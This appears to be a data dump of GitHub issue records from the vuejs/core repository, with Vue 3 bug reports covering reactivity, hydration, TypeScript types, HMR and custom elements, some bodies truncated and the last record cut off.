https://play.vuejs.org/#eNqdWG9TE0cY/yo7mc5EHQPj2L6hkU5rdca+UFud6QvTaY5kgdPLXeZug1BkJkADSUkMKn8U0IJFQDqEUBES/n4Ys3vHq36FPrt7CeHAAH2VvWef/T3/n302vb5v4/GmrgT2tfiCVsRU4wRZmCTiSFP0jmshH7FCvtaQHtIRUmNxwySI9MQx6kXf43ZVx9cNIOpYJ6gPtZtGDPkBy/+1OBDFEU0xMYoYukXQPazhCGnxngv2cmiEmi9dkgt0CbHsMC1MHSQzldLKwVzZni7YU7+jLkVLYESTO//uZGl+tbL9rrK7b48toa5AzIhiDdF8lo4+s7efwWE2XmS5wqfkAM2NAxCb3KD5Zfb0Hc1PonvEVPUOxNIT6HYi1oZNDjjP5R1h+9Y0lZ4nLvMTlxUWgl7VtVku/EKDgFDR/00L8rsu8Br2cpWOLrCxVZbtlxI9OLGERtS4hgGizTA0rOgNcOyFfjDfgxBVLaVNw9EzIUg3slLKfr8FyoCvhW+X6cxSzW9sJsPG0x4pEQA2uZwziZEGs9EZe/2tB6hd1Qg+CxKoJAFAJVCyqv8yy2bs1CJkaxtkgLM/7cxlTxTkl5ICbT0Bwcuj1Eiesz9jL41IKMg+NlFmH8a9mCaOGQQHYph0GlGOeDOhR4hqfMaE3Rc0k3NdsvIXWFQvxIOtGUoUEu8cWkKxCEWH6coky4/a81tedV3MAMHdhGtridw+Fbjq8T2APNh+6RTmpbuB6KwuOIv9QK/sjXilRXG7Aul86G4pDipIr5aSovc8+OVE+Tz3Rt6zuSE6v0iLeVnyQITyr5S2wtBXOnD4U7I/bMUUTRMrV14Y6tpJpiqlHJ3726OTpf7G88zvB9l+gSFWAkOsXIyTq7emk3SC9LRHQlxTIrjT0KLYbOxgSIZKaYSNZGh60plbAqOgBnm5CTdDIOlQihbKXqfqBgm0Gwk9epYgigwbo9NvZG0fqZzikFsz9HnWba2VUpKWN+QJYJRWQolJimQ6llIcI6Dqh62vYRHvlO3lSW7c2jjdSUJRQcP2xBaFiREXAW0zCDFiYgmkgEUUk9Rt1BH4Ntaj9Zv886TYxODO4Skg2UTQ4XT1V2KKr3ohtW1Ard/kn43aa3EILKZrA2xsz94tVLaegneiPQhCy42eWUL3lTYLlKalBWiz0Ay7cRTxuw7oGtx16UlglbecDB7d3nIKBba5Tf+YZSvzdO0NSy5yemEQhPGcz0/a6Q17a5HNbtKdPN1doy9ywFDZfuoks87eHk0X2fQ6fbfLe8V4mr2Z8XiJmIputYv0bRRKe/sVpC3cEjQ1aK/POgVuIQqr0XCtLaCbhhlDXPcP43ATe1MH5gEejIAqOmejNN5J0tHVmmJIugIUYB8L3LnCGwdvX9P5Ce47GDosC9HRnL1Y9MqsYgQEU... [TRUNCATED]",,2025-03-10T07:33:42Z,2025-03-10T07:46:05Z,1
vuejs/core,2905422037,TS component prop type checking incorrectly allows getter,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqFUT1PwzAQ/SsnL2mlKhlgitJIgDrAABUwegnJJXVxbMt2SqUo/52zq5YKQbv57n3o+d7I7oxJdwOynBWutsJ4cOgHA7JS3ZIz7zgruRK90dbDg+4NtFb3kKRZGII04arIDlpi0uCxN7LySBNAETV5qzW5zeawLCFxGz3IBpT28IFQSam/sEk4g4wkRXamZwtKUGvVii7dOq0o5hhcOavJVki0L8YLrShlDhEJWHR8ijtvB1wc9/UG688/9lu3DzvO1hYd2h1ydsJ8ZTv0B3j19ox7ep/AXjeDJPYF8BWdlkPIeKDdD6qh2Ge8mPYxHlio7t2t9h6VO34qBA3MKfI5o4OHi/739Z+4N+lt1HE10RWPZV3pucFWKFxbbVwRPam3HJy3lIyMytn8ctmN2JXjGFQwTUUWxt+NTt8HudFs

### Steps to reproduce

Open the playground link.

### What is expected?

`foo` prop in template should raise a type error from TS.

### What is actually happening?

No type error is raised.

### System Info

```shell

```

### Any additional comments?

_No response_","scope: types,language-tools",2025-03-09T13:15:54Z,2025-03-10T09:27:44Z,0
vuejs/core,2905376592,"The computed property dependencies have not changed, but it is recalculated.","### Vue version

v3.3.11

### Link to minimal reproduction

https://play.vuejs.org/#__PROD__eNp9Ub1OwzAQfhXLS1q1SkRhCmklQB1gAASMWdLkGlIcO7LPoajKu3O2m9IBdTvf9+Pv7g78ruvi3gJPeYbQdqJAWOWSsaxqeip8mYQ6S84Y9DSlbjpkBtB2TBSyXkZoIsKatlMa2YFpKEpsepizUrWdRajYwLZatSyiPyPnUippyAPJlS1PgsnBfVwqKzFlV3P32KRskcthejtqKmU3wolG78lkypYrdpRKowTEQtWTqIymrqcpqJZsQQ4DNYLPSApucV8ICwT6QPFmNrvIypKwg+M+8EccV5OEms85GtJvmzreGSVpyz5dzl3mRoB+6bAh/5ynIbfDCiHU95Pvobbgp/eaTyi//unvzN71cv6qwYDuIecnDAtdAwZ4/f4Me6pPYKsqK4h9AXwDmt26jIF2b2VFsc94Pu2jv3gj6w+z3iNIMw7lgjrm4Pk5p7M/XBj9L+51fON1dCs+/AJgTOT/

### Steps to reproduce

<script setup lang=""ts"">
import { reactive, computed } from 'vue'

const state = reactive({
  count: 1,
});
const double = computed(() => {
  console.log('c')
  return 2;
})

console.log(double.value)
state.count++
console.log(double.value)
</script>

### What is expected?

c
2
2

### What is actually happening?

c
2
c
2

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-03-09T11:44:44Z,2025-03-09T11:46:49Z,0
vuejs/core,2904769430,`<style>` HMR require save twice when exporting a type from a component,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-fbpwhbzy?file=src%2Fcomponents%2FFoo.vue

### Steps to reproduce

#### Setup:
1. Create a `Foo.vue` component and export a type `FooProps`.
2. Add a `<style>` block in `Foo.vue` (e.g., setting `background-color: red;`).
3. Create a `Bar.vue` component and import the `FooProps` type from `Foo.vue`.
4. Use both `<Foo />` and `<Bar />` in `App.vue`.

#### Problem:
When running the development server with Vite, changing the background color in `Foo.vue`, you need to save the file twice for the styles to update in the browser.

### What is expected?

After modifying the styles in `Foo.vue` and saving the file once, the changes should be reflected immediately.

### What is actually happening?

The style updates are only applied after saving `Foo.vue` twice.

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 18.20.3 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.2.3 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    vue: ^3.5.13 => 3.5.13
```

### Any additional comments?

I’m not sure whether this issue is related to Vue or Vite.",,2025-03-08T12:53:00Z,2025-03-10T08:02:57Z,1
vuejs/core,2904677080,"defineComponent props sets the default property value, `props.xx` may still be undefined","### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U01v2zAM/SucLk6AzOmw7mK4GbahwLZDV2wFdph2cB06VWtLgiSnbg3/91J0Ptyi6MniI9/jIyX34ou16bZFkYncl07ZAB5Da1dSq8YaF6AHhxUMUDnTQEKlidRSl0b7AI3fwFnMz5LvWNcG/hpXr98lc6nz5ShHQhQEbGxdBKQIIL/5sOp7Jg9DvqSIUaVtG2D7vjFrrM+koLwUsKRkvpzwxUIET+0rtUlvvdHkvI98KUrTWFWj+2WDIntSZMCZmPPBqTJEKLgWF3u4INP3P7n0GV7eYHn3Cn7ru4hJcenQo9uiFIdcKNwGuYUU538usKPzIUlDtTVVv5H8jd7UbbQ+ln1t9ZqmmdSx2x98LUpvrvx5F1D7/azRaKwcuF4Kuqpvb2zkaPdjeso8qQdabuSkwXe0190LCA8W6RlcOmOv4vHZW3DHh7LGSmnuaTTq8LKMS3VAVxUlsponNwQCePWInzPQbXNNAxM07AnYsTZJF23N32mL2Y5vo1icjaNRbxICj5DBBetD4Q+z5GzjXxIJyf/V4sjYdczg08keZFO839F0/E9m3Hp+7KUqGLE0asIKTk8mWVr8CzGedi6GJwRmLy8=

### Steps to reproduce

1. click `Comp.tsx` file

### What is expected?

`props.size` Shouldn't the type be `number`?

### What is actually happening?

-

### System Info

```shell

```

### Any additional comments?

_No response_",scope: types,2025-03-08T09:40:38Z,2025-05-22T00:03:34Z,0
vuejs/core,2897832978,"SSR hydration mismatch using v-if=""$slots.slot"" and a html slot-content","### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/hydration-mismatch-transition-slot-v-if-ragrzopt?file=app.vue

### Steps to reproduce

I want to wrap the slot-content of a component in a wrapper, and only render the wrapper, if the slot contains an element.

This is the component `<ComponentWithSlot>`:
```vue
<template>
  <div>
    <p v-if=""$slots.slot"">
      <slot name=""slot"" />
    </p>
  </div>
</template>
```

If the slot is filled with a plain text this is working:

```vue
<ComponentWithSlot>
  <template #slot>
    This IS NOT throwing a hydration error, since it is plain text and not
    wrapped in an element.
  </template>
</ComponentWithSlot>
```

But if the slot contains any kind of HTML markup, a hydration mismatch error is thrown:

```vue
<ComponentWithSlot>
  <template #slot>
    <div>
      This IS throwing a hydration error, since it is wrapped in a div.
    </div>
  </template>
</ComponentWithSlot>
```

### What is expected?

That no hydration mismatch error is thrown.

### What is actually happening?

A hydration mismatch error is thrown.

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 18.20.3 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.2.3 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    vue: ^3.5.13 => 3.5.13
``... [TRUNCATED]",,2025-03-05T16:38:47Z,2025-03-06T00:18:05Z,2
vuejs/core,2897645019,v-if and v-else on same element has inconsistent (or undocumented) behaviour,"### Vue version

3.4.23 (or earlier) - 3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNq1VEFP8zAM/Ssmh28fEu0Eg8tUJgEaAg6AAIlLJFRadxTSJErSMmnaf8fJGB0TQ4OJU12/F+c9W/GEHWkdNzWyPktsZkrtwKKr9YDLstLKOJiAwQKmUBhVQYeoHS65zJS0Dio7gkOP/++coRAK7pUR+VZnm8ukOytHhejHYaVF6pD+AJK8bEIA0ERlcchZkQqLnEGXEkgh/JsjztSLQH92LNmKIhiOtcPMYd6HO2JBFL0X9fWXKg9O/Tfptje/k8Jtn+4a+GIrmAGDvRZto58aW0a+c7a3ubdP3EUH6/n73diWPP39sFbIXRLwKFL50ipYd1RzNxtOYC3FKzT9dXM3fgdJd+Glsx3mLC2KohzFz1ZJ2jGT8FRYpipdCjRX2pW0SMgMBMRjKe2R14uQ80J25vnsCbOXL/LPduxznF0btGgakv6BudSM0M3g4e0ljin+ACuV18I3cjV4g1aJ2muc0Y5rmZPsBV5Qex42ZSlHd3Y4dijt3FToJDGngc8Zbc+Tb6y3cnvxfjjH5ZS6+NCg8TWpgb34IN7tsekb/GzLOg==

### Steps to reproduce

Reproduction link already shows the issue at hand.

Using `v-else` and `v-if` on the same component does not result in what I would consider expected behaviour.

### What is expected?

In a case of a `v-else` and `v-if` on the same component I would expect either:
- An (compiler?) error when rendering the component
- If the condition in the `v-if` is true / truthy it should not ""fall-through"" to the else block

### What is actually happening?

In case of `v-else` and `v-if` being on the same component it will ignore the condition in `v-if` if there is a component after it that has a `v-else` block.

### System Info

```shell
System:
    OS: Linux 6.8 Ubuntu 22.04.5 LTS 22.04.5 LTS (Jammy Jellyfish)
    CPU: (16) x64 12th Gen Intel(R) Core(TM) i5-12500H
    Memory: 14.36 GB / 31.02 GB
    Container:... [TRUNCATED]",,2025-03-05T15:24:42Z,2025-03-06T00:06:38Z,1
vuejs/core,2895674556,Vue warning of duplicate keys in v-for are shown randomly,"### Vue version

3.X

### Link to minimal reproduction

https://stackblitz.com/edit/vite-4jdq3cfy?file=docs%2Fexample.md

### Steps to reproduce

Just create a vite app and a vue component having v-for with duplicate keys. the warnings do not always appear.
check https://github.com/vuejs/vitepress/issues/4577 also for an explanatory video.

In the reproduction url i have given, the warnings seem to not appear at all

### What is expected?

warnings must always be shown

### What is actually happening?

warnings showing randomly

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-03-04T23:16:50Z,2025-03-05T12:28:19Z,1
vuejs/core,2893266103,Error tip during vue2 upgrade to vue3,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-luhhhzuf?file=src%2FApp.vue,src%2FChild.vue,vite.config.js,package.json&terminal=dev

### Steps to reproduce

Open [link](https://stackblitz.com/edit/vitejs-vite-luhhhzuf?file=src%2FApp.vue,src%2FChild.vue,vite.config.js,package.json&terminal=dev) and look at terminal warning.

### What is expected?

It is should not warning because v-bind already in the first place

### What is actually happening?

when use v-bind with v-for and move the v-bind in the first place. the loader will report warning v-bind with wrong place

### System Info

```shell

```

### Any additional comments?

_No response_",":hammer: p3-minor-bug,scope: v2 compat",2025-03-04T07:38:30Z,2025-05-22T00:44:35Z,0
vuejs/core,2890729276,Set.intersection erroring when used as ref,"### Vue version

Latest master @8bd9cdb. Last tag: 3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kctuwjAQRX9l5A0g0US0XaGA1FYs2kVblS69icIQTB3b8iMgRfn3jh3xWCB2mXvuWMdxx16MydqAbM4KV1lhPDj0wSy5Eo3R1kMHFrfQw9bqBkZUHXHFVaWVS9UZLGJhrPAAa/TjyeQKPt6AJyyUR+uw8tSJ52RtKQNm51hoNY5HDDktFvkgSGo0eGyMLD3SBFDsZsuug8bV0PdFTlNKhTLBQ/vQ6A3KBWfEOYOcYJFf7bMp846ktqLO9k4r+hdd3Oes0o0REu2XiTqOszkkElkppT58pMzbgNNTXu2w+ruR790xZpx9W3RoW+TszHxpa/QDXq0/8UjfZ0j2QVL7DvxBp2WIjkPtNagNaV/1ku17elGh6l+3OnpU7nSpKBqbfepzRq/8dufqF92n7DntcdWz/h+Xz8SY

### Steps to reproduce

Open the link, see Firefox and Chrome error out because intersection was called on an incompatible receiver

### What is expected?

No error

### What is actually happening?

Browser error

### System Info

```shell
System:
    OS: Linux 5.15 Ubuntu 22.04.4 LTS 22.04.4 LTS (Jammy Jellyfish)
    CPU: (16) x64 AMD Ryzen 7 PRO 6850HS with Radeon Graphics
    Memory: 9.68 GB / 15.28 GB
    Container: Yes
    Shell: 5.1.16 - /bin/bash
  Binaries:
    Node: 22.14.0 - ~/.nvm/versions/node/v22.14.0/bin/node
    Yarn: 3.3.0 - ~/.nvm/versions/node/v22.14.0/bin/yarn
    npm: 10.9.2 - ~/.nvm/versions/node/v22.14.0/bin/npm
    bun: 1.2.3 - ~/.bun/bin/bun
  Browsers:
    Chrome: 126.0.6478.55
  npmPackages:
    vue: ^3.5.13 => 3.5.13
```

### Any additional comments?

Firefox error is: `CallSetMethodIfWrapped method called on incompatible Proxy`
Chrome error is `Method Set.prototype.intersection called on incompatible receiver #<Set>`

*... [TRUNCATED]",,2025-03-03T09:53:20Z,2025-03-03T11:18:19Z,1
vuejs/core,2886256661,Using `v-if` plus css `transition` with `:active` selector results in memory leak,"### Vue version

3.5.13

### Link to minimal reproduction

https://github.com/CedrikNikita/transition-memory-leak

### Steps to reproduce

Install and serve this small reproduction. You will be able to witness memory leak by clicking `Show` and `Hide` buttons. In the chrome devtools `Memory` tab you can see that each time you click `Show` then `Hide` button you would get additional detached elements in the snapshot. This detached elements are multiplied by number of clicking `Hide` button.
![image](https://github.com/user-attachments/assets/4b65ae5f-61f2-4f4d-918d-fc5d63404d6e)

![image](https://github.com/user-attachments/assets/67091e7d-406e-4457-a883-d2830d6b1606)


### What is expected?

There should be no detached elements.

### What is actually happening?

Detached elements continue to accumulate forever.

### System Info

```shell

```

### Any additional comments?

Chrome version `133.0.6943.142`

CC: @davidyuk",browser specific,2025-02-28T05:43:21Z,2025-02-28T06:20:56Z,2
vuejs/core,2884797808,Unable to set focus inside of Vue.js-based web components,"### Vue version

3.5.13

### Link to minimal reproduction

https://github.com/padcom/vue-custom-element-delegates-focus

### Steps to reproduce

```bash
npm install
npm start
```


### What is expected?

Just the input is focused:

![Image](https://github.com/user-attachments/assets/79290ae3-5005-495d-b371-e8e129e2357f)

### What is actually happening?


Observe that the whole element is focused instead of the input.

![Image](https://github.com/user-attachments/assets/d5c58bee-cce5-4548-b962-2f315322a43c)

### System Info

```shell
Google Chrome, Firefox - doesn't matter. It's a core deficiency of how Vue.js creates `shadowRoot`
```

### Any additional comments?

This is a critical issue for any type of web component that provides users with interactions. It blocks proper keyboard navigation and programmatic focusing of elements.

## More information

When creating custom web components that have focus-able parts (like inputs or buttons) the focus is first set to the custom element itself. That is why, in the example provided, the outline is showing for the entire element instead of the input.

To be able to focus elements inside the web component one needs to add the `delegatesFocus` to options alongside `mode: 'open'`. This, when the `focus()` method is called on the web component, will look for the first focus-able element and shift the focus there instead.

MDN: https://developer.mozilla.org/en-US/docs/Web/API/ShadowRoot/delegatesFocus

There are more options that can be... [TRUNCATED]",":hammer: p3-minor-bug,scope: custom elements",2025-02-27T15:05:50Z,2025-09-24T13:14:56Z,0
vuejs/core,2881868803,set function in Definemodel does not trigger when parent change value,"### Vue version

v3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uk1v1DAQ/StTX3YrlkSrhUvJVsCqSCDxIUBcMEIhmaRuHTuynbAQ5b937DTZtF1tTs68NzNvZl7H3tR11DbILlhiMyNqBxZdU19yJapaGwcdGCygh8LoChZEXUzQ7lrI/J1JK7xHozibQr7q4hVXXGVaWQeVLWHray3X5z5aNCpzQitwaB0uzzuugD6iRW0qG4RnW1hz1XOVxIMy0kQ/Dqtapg7pD5KZgvZ5pXOUkUz//9tyRnU4iz0Jkj+Nc9TodSZFdktY6MgZXO58ACi5Tg0qd5bEA5XSknjWiK2YszRGIcroxmpF2wpyOct0VQuJ5nPtZ7GcXcD9IJylUuq/H0LMmQZXYzy7xuz2SPzG7n2Msy8GLZqWJE6YS02JboCvvn3CPb0nkAZvJLFPgF/Ratl4jQPtbaNykj3jBbXvw2GFKr/bq71DZcehvFDP7AOfMzru7sToB7mb6EXIo0vSFh/a44jpRrf8DMf84Y2wAnqLQqCxv8hBORZC4UcPL0M/Sl22o318tpYYSV0upzTym8cM9TAKWhgFPfXhwYZT+8duPOVHSHLRhgd03aFET2mExQM4NDhqyrknzyAsa2bJp6b83dJ0pJ0WuYleRusN6+8AgilLNw==

### Steps to reproduce

1 - Create a v-model in child component, with a set function
2 - Change the v-model value in parent component

### What is expected?

When parent component change v-model the set functino should be trigged

### What is actually happening?

The set function is not triggering

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-02-26T14:46:30Z,2025-02-27T00:41:25Z,1
vuejs/core,2880902945,Native `fill` and `reverse` function cost performance problem when called on heavy array.,"### Version
3.5.13

### Reproduction link
[play.vuejs.org/](https://play.vuejs.org/#eNq9Vd9v2jAQ/ldOeSFIkLRqnyigsZZJm7auon1bpiokB7h17Mh2KIjxv+/ihJCwDjFpbR4i3313vs/3+cfGGaWpt8zQ6Tl9HSmWGtBoshR4KOaDwDE6cIaBYEkqlYENKJx16BdGhi0RtjBTMoEWTdAKRCAiKbSB0WTy+HV8CwM4P7PfHpoxzh9DpQjbTeKOlArXbpnU9vIQ96zd3qUoXKLSeFqWl4Sp6z52gLVhMKQ/TRMIjgYMavOJgh5YgvlERGrnnhQVDhCpYlQ9aI3ur1vwC1o343wwKBzNFVkuBLm26CYQ8Ee5m9CgJ+SLS4SgakNB+1toFp4KRSwTNyd8LBu6TTAQ25zLQbP+QuhgoU1OtT575bgAjmaWfOq4pdT3i91Ee4cMg0nKKYcsgH7MlqDNmiPtr5hpQtY9mHFcXUEkeZaI7jxMe3CuMLmyuw/o65twyhGmVpbSl3unMl5XZu7Yg4UdN2zyLC6G15lSKPbbkZqVD+GFmUUPNpsK+HH2E7bbvk85jVn9xrRk1quewuFyaAtGkkQz1DVbtSm7b48PlddU//KE+v/EYJoZIwV8iDiLnkmIah9Tx3MOYI2+X8SdvHoyaoqQlav2lhLWtm24bmlSTlFLkWNCqO1qLeIN5SyrvKJo4+y8r6j164B0LZn8d2n7Ph1pGpFvf9CdjlO8Gl26k70nLQW9MfYqCkqAnhZqUjFd4IwLye54Zv2BszAm1T3fz0T6PPcimfilqt3UxuSJdNNsqZDRdP3N2PygDOWkjKP6nhpG12OjXMi5fPlifUZl2Nn5owVGz6/4n/SqoHWnUKNaYuBUmAnVHE0Bj+9vcUXjCkxknHGKPgJOUNO9l3Mswj5mIibatTjL9rPtGhPzBz1eGRR6t6icqO2GjQ8ceo6vjyx9T/fCu6y6uP0N79F37g==)







### Steps to reproduce
Click the `Fill Array`  and `Reverse Array` button to see bench results.

### What is expected?
I have some optimizations to lower the cost by shallow the dependency collection which can minor the runtime.

### What is actually happening?
Current situation is heavy array cost a bunch of time when call the `fill` and `reverse` function.

<!-- generated by vue-issues. DO NOT REMOVE -->",,2025-02-26T09:37:18Z,2025-04-13T14:28:29Z,2
vuejs/core,2879897416,vue-tsc don't generate declaration types after the Build,"### Vue version

latest

### Link to minimal reproduction

no link

### Steps to reproduce

Hello all!

I don't know if everyone has the same problem like me.
After updating my vue project, when i run the command pnpm vue-tsc --declaration --emitDeclarationOnly but, no types declarations have been generated.
I have downloaded the latest lite vuejs project and run the same command, nothing in the dist folder.

This is my current tsconfig file:
{ ""extends"": ""@vue/tsconfig/tsconfig.dom.json"", ""include"": [""env.d.ts"", ""src/**/*"", ""src/**/*.vue""], ""compilerOptions"": { ""tsBuildInfoFile"": ""./node_modules/.tmp/tsconfig.app.tsbuildinfo"", ""declarationDir"": ""./dist/types"", ""noEmit"": false, ""declaration"": true, ""outDir"": ""./dist"", ""paths"": { ""@/*"": [""./src/*""] } } } 

### What is expected?

no things

### What is actually happening?

I want to build my vuejs package with ts declaration but, with this latest i have no thing like that in the dist folder. i have thought that, may be it's my configs then, i've try to build a lite vuejs project after add some tsconfig for declarations emissions, unfortunately i've the same result.

### System Info

```shell

```

### Any additional comments?

_No response_",can't reproduce,2025-02-26T01:27:20Z,2025-03-01T12:35:53Z,3
vuejs/core,2878694276,custom formatter doesn't print ref value properly,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/github-ugyyhuvm?file=components%2FHelloWorld.vue

### Steps to reproduce

Is this a regression ?
I have a very simple store that export an hardcoded `user` object.

I added this to my component:
```js
const store = useAuthStore();
const { user } = storeToRefs(store);
console.log(user);
console.log(user, user.value);
```
The first console.log is undefined.
The second one is not:
```sh
Ref<undefined>
Ref<Object>, Reactive<Object>
```

### What is expected?

`console.log(user);` alone should return `Ref<Object>`.

### What is actually happening?

`console.log(user);` returns `Ref<undefined>`.

### System Info

```shell
System:
    OS: macOS 15.3.1
    CPU: (8) arm64 Apple M1 Pro
    Memory: 2.34 GB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 20.18.0 - ~/.nvm/versions/node/v20.18.0/bin/node
    npm: 10.8.2 - ~/.nvm/versions/node/v20.18.0/bin/npm
  Browsers:
    Chrome: 133.0.6943.127
    Chrome Canary: 135.0.7035.0
    Edge: 133.0.3065.82
    Safari: 18.3
    Safari Technology Preview: 18.2
  npmPackages:
    vue: latest => 3.5.13
```

### Any additional comments?

_No response_",🔩 p2-edge-case,2025-02-25T15:04:05Z,2025-03-14T00:19:07Z,2
vuejs/core,2876011590,"Type errors when defining prop interfaces when ""declaration"" is true in tsconfig.json","### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UcFqAjEQ/ZWQSyvIithe7FZoi4cKVakeAyXE2TU2m4Qka5Vl/72TLFqF4i3z3svMmzcNfbE229dAxzT3wkkbiIdQW6K4Lp8ZDZ5RUoIGJwWWa0YnTMvKGhdIQzZQSA1LZ6wnLSmcqcgdNrtjGkU6gCu4APJxXFkQkqtO2DBNiOYVjIkPTuryKQJhi68xWWPRMn3ROL/+PrnvoSQfdGbRDBYBKqt4AKwIybfDSdOkAaRt8wGWCbYOIj5bLeZZN1cWx/s0tpeEURA7X3SjfQxAGF3IMtt5ozGl5J5RYSorFbiFDdJoDGnc7RU5rpT5mSUsuBr6J1xsQXz/g+/8IWKMLh14cHtg9MwF7koIHT1dzeGA7zNZmU2tUH2D/ARvVB09drLXWm/Q9oUuuX1PF8Uo1n56CKD9aakroxsQijt+6ha5SLVJwChe/u1GLH+rjLKH9A9PjQl/7cHFeRjuKHvMhiPa/gJ39N4I

### Steps to reproduce

1. In tsconfig.json, set `""declaration"": true`
2. Write an SFC with a script setup block and an attribute naming a generic, like `generic=""T""`
3. Write a props interface using the generic and pass it to the type parameter in `defineProps`
4. Observe a type error saying ""Default export of the module has or is using private name""

### What is expected?

This should not trigger a type error, which is how it works when no generic attribute is provided.

### What is actually happening?

There is a type error saying ""Default export of the module has or is using private name""

### System Info

```shell

```

### Any additional comments?

_No response_",scope: types,2025-02-24T19:55:24Z,2025-02-25T05:46:47Z,1
vuejs/core,2874784843,Destructured props completely disappear (ReferenceError) after shadowing + try/catch in <script setup>,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-amw4dfwg

### Steps to reproduce

```typescript
<script setup lang=""ts"">
import { ref } from 'vue';

const { msg } = defineProps<{
  msg: string;
}>();

console.log('FIRST LOG', msg);
const fun = () => {
  const msg = null;
  try {
    console.log('');
  } catch (e) {
    console.log(e);
  }
};
console.log('SECOND LOG', msg);
</script>
```

### What is expected?

There should be no errors, and two log messages:
- `FIRST LOG HELLO WORLD!`
- `SECOND LOG HELLO WORLD!`

Note that shadowing the variable `msg` in the function scope is valid JavaScript/TypeScript and should not affect the outer scope variable.

### What is actually happening?

The first `console.log` produces a log message as expected.
But the second one raises a ReferenceError, indicating that the variable `msg` doesn't exist at all in the scope (not just undefined - the variable itself is missing):

```
HelloWorld.vue:17 Uncaught (in promise) ReferenceError: msg is not defined
    at setup (HelloWorld.vue:17:36)
    at callWithErrorHandling (vue.js?v=5b865bf9:2263:19)
    at setupStatefulComponent (vue.js?v=5b865bf9:9983:25)
    at setupComponent (vue.js?v=5b865bf9:9944:36)
    at mountComponent (vue.js?v=5b865bf9:7300:7)
    at processComponent (vue.js?v=5b865bf9:7266:9)
    at patch (vue.js?v=5b865bf9:6782:11)
    at ReactiveEffect.componentUpdateFn [as fn] (vue.js?v=5b865bf9:7490:9)
    at ReactiveEffect.run (vue.... [TRUNCATED]",,2025-02-24T12:19:31Z,2025-02-24T12:59:42Z,1
vuejs/core,2874480128,Cannot automatically deconstruct when using computed property in template,"`<a-tag  :color=""computedColor(record.inventoryStatus)"">{{ computedInventoryStatus(record.inventoryStatus) }}</a-tag>`
Both `computedColor ` and  `computedInventoryStatus ` function return the value of a computed property，`computedInventoryStatus ` can work normally，but `computedColor `  not working properly, need to add `.value` to work properly, like this `<a-tag  :color=""computedColor(record.inventoryStatus).value"">{{ computedInventoryStatus(record.inventoryStatus) }}</a-tag>`

vue version 3.2.13
",,2025-02-24T10:23:36Z,2025-02-24T12:09:00Z,2
vuejs/core,2873223823,Parent scoped styles not working with multi-root component with Teleport,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNq1Uj1PwzAQ/SuWlywoAcFU0kh8dCgDIOjoJTjX1q1jW/alpKr637GdJm0F6saWe/fu+d3l7eiDMemmATqiueNWGCQOsDEFU4SI2miL5LlEmCrTIJlbXZMkzQYkjCZM5Vk366d8gVAb6RmhwtwBR6FVLHx5FOOydG6czAXIKinyo2h8m5D/oHqjg508OzWqcodbCcRxbaCKbg9UkkYxsuveqku7EGpEbq5Nex+gfdw/DBf0iqIXUHOxSFdOK3/VOMUo17UREuybCZKO0VGvx2gppf5+iRjaBq56nC+Br//AV64NGKPvFhzYDTA69NC7A+zak89XaP330Kx11UjPvtD8AKdlEzx2tMdGVd72CS+6ncZkCLWYuUmLoFy/VDAajxL5jPp8PF1Y/Wj3Nr07HHPvr3gWsF/ZvBQ3EVOAWwPjBP2GSfffZyAhhhn1OPnS1TbgMZCV2BRpmlZegRjB12DJEix4KM9Cr4tNP3+eG7r/AR1EGms=

### Steps to reproduce

I want to create pure component (without unnecessary wrapping tags) with one real root and additional teleported tags. But now it gives an error.

Example:
**App.vue**
```
<template lang='pug'>
	section
		DateInput.field
		DateInput.field
		DateInput.field
</template>

<style lang='sass' scoped>
	section
		.field
			margin: 10px
</style>
```

**DateInput.vue**
```
<template lang='pug'>
	input(type='text')
	Teleport(to='body')
		div ...date picker here...
</template>
```

### What is expected?

```
<section data-v-11111111>
	<input data-v-11111111 data-v-22222222 type=""text"">
	<!-- ... -->
</section>
```

### What is actually happening?

`data-v-11111111` is missing, console show error ""Extraneous non-props attributes (class) were passed to component but could not be automatically inherited because component renders fragment or text or teleport root nodes"".

```
<section data-v-1... [TRUNCATED]",,2025-02-23T14:13:40Z,2025-02-24T00:27:19Z,1
vuejs/core,2865895736,Suspense unmounts with an error if it renders a component with a root node implementing a client-only behavior,"### Vue version

3.5.13

### Link to minimal reproduction

